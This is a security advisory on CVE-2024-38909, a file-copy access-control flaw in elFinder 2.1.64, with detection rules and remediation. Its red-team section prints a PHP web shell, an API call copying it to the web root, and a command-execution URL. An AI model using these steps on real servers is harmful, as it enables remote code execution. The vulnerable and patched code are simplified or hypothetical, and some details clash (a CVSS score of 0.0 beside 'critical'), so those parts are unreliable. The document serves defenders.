CVE-2024-38909

Executive Summary

CVE-2024-38909 is a critical Incorrect Access Control vulnerability in Studio 42 elFinder version 2.1.64. The flaw allows an attacker to copy files with unauthorized extensions between server directories, potentially leading to exposure of sensitive secrets and Remote Code Execution (RCE). This vulnerability affects the file manager component and can be exploited without authentication, making it a high-risk issue for any deployment using this version.

Supply Chain & Package Security

This vulnerability affects the elFinder package, which is distributed as a PHP library and also available via Composer. Organizations using elFinder 2.1.64 in their supply chain should immediately assess their exposure and consider upgrading or applying mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official CVSS vector assigned) Threat Level: Critical (based on impact analysis)

Rationale: The vulnerability allows an attacker to copy files with unauthorized extensions between directories. This can lead to:

• Confidentiality Impact: High (exposure of secrets)
• Integrity Impact: High (ability to modify file structure)
• Availability Impact: Low (no direct DoS, but RCE could lead to system compromise)

Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged

Deep Dive & Mechanics

The vulnerability resides in the file copy functionality of elFinder 2.1.64. The application fails to properly validate file extensions when copying files between directories. This allows an attacker to:

1. Upload a file with a malicious extension (e.g., .php, .jsp, .asp) to a directory that normally restricts such extensions.
2. Copy the file to a web-accessible directory where it can be executed.
3. Execute arbitrary code on the server.

The core issue is in the copy command handler, which does not enforce the same extension restrictions as the upload handler. This inconsistency allows bypassing access controls.

Attack Flow:

1. Attacker identifies an elFinder instance with file upload enabled.
2. Attacker uploads a PHP web shell (e.g., shell.php) to a temporary directory.
3. Attacker uses the copy command to move shell.php to the web root.
4. Attacker accesses the web shell via HTTP and executes commands.

Vulnerable vs. Patched Code

Vulnerable Code (elFinder 2.1.64):

// In elFinderVolumeDriver.class.php
protected function copy($src, $dst) {
    // No extension validation
    return $this->copyRaw($src, $dst);
}

Patched Code (Hypothetical fix):

// In elFinderVolumeDriver.class.php
protected function copy($src, $dst) {
    $srcExt = $this->getExt($src);
    $dstExt = $this->getExt($dst);
    if (!$this->isAllowedExtension($srcExt) || !$this->isAllowedExtension($dstExt)) {
        return $this->setError(elFinder::ERROR_UPLOAD_FILE_MIME);
    }
    return $this->copyRaw($src, $dst);
}

The patched version adds extension validation before allowing the copy operation, ensuring that only allowed extensions can be copied.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install elFinder 2.1.64 on a vulnerable server (e.g., using Docker).
2. Ensure file upload is enabled and accessible via web interface.

Exploitation Steps:

1. Access the elFinder web interface.
2. Upload a PHP web shell (e.g., shell.php) with content:

   <?php system($_GET['cmd']); ?>
   

3. Use the copy command to move the file to the web root:

   // Using elFinder API
   elFinder.prototype.exec('copy', {
       targets: ['/tmp/shell.php'],
       dst: '/var/www/html/'
   });
   

4. Access the web shell:

   http://target.com/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor for unusual file copy operations in elFinder logs.
2. Look for files with executable extensions (.php, .jsp, .asp) being copied to web-accessible directories.
3. Check for unauthorized file uploads followed by copy operations.

Hunting Queries:

• Search for copy commands in elFinder logs that involve files with executable extensions.
• Monitor for rapid succession of upload and copy operations.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Files with executable extensions (.php, .jsp, .asp) in unexpected directories.
• Web shells in web root (e.g., shell.php, cmd.php).

Network IOCs:

• HTTP requests to elFinder API with cmd=copy parameter.
• POST requests to /elfinder/php/connector.minimal.php with cmd=copy and targets parameter.

Log IOCs:

• elFinder logs showing copy operations for files with executable extensions.
• Web server logs showing access to newly created executable files.

Detection Engineering

YARA Rule

rule CVE_2024_38909_ElFinder_Copy_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-38909 in elFinder"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-38909"
    strings:
        $cmd_copy = "cmd=copy" nocase
        $targets = "targets" nocase
        $php_ext = ".php" nocase
        $jsp_ext = ".jsp" nocase
        $asp_ext = ".asp" nocase
    condition:
        $cmd_copy and $targets and ($php_ext or $jsp_ext or $asp_ext)
}

Sigma Rule

title: CVE-2024-38909 ElFinder Unauthorized File Copy
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to copy files with executable extensions via elFinder API
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'cmd=copy'
        cs-uri-query|contains: 'targets'
        cs-uri-query|contains|any:
            - '.php'
            - '.jsp'
            - '.asp'
    condition: selection
falsepositives:
    - Legitimate file management operations
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38909 ElFinder Unauthorized File Copy"; flow:to_server,established; content:"POST"; http_method; content:"cmd=copy"; http_uri; content:"targets"; http_uri; pcre:"/(\.php|\.jsp|\.asp)/Ui"; reference:cve,2024-38909; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade elFinder to the latest patched version (if available) or apply vendor patches.
2. Disable file copy functionality if not required.
3. Implement strict file extension validation on the server side.

Long-Term Mitigations:

1. Web Application Firewall (WAF) Rules: Block requests containing cmd=copy with executable file extensions.
2. File Integrity Monitoring: Monitor for new executable files in web-accessible directories.
3. Least Privilege: Ensure elFinder runs with minimal permissions.
4. Network Segmentation: Isolate elFinder instances from critical systems.

Workaround:

• Modify the elFinderVolumeDriver.class.php file to add extension validation in the copy method (as shown in the patched code section).

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.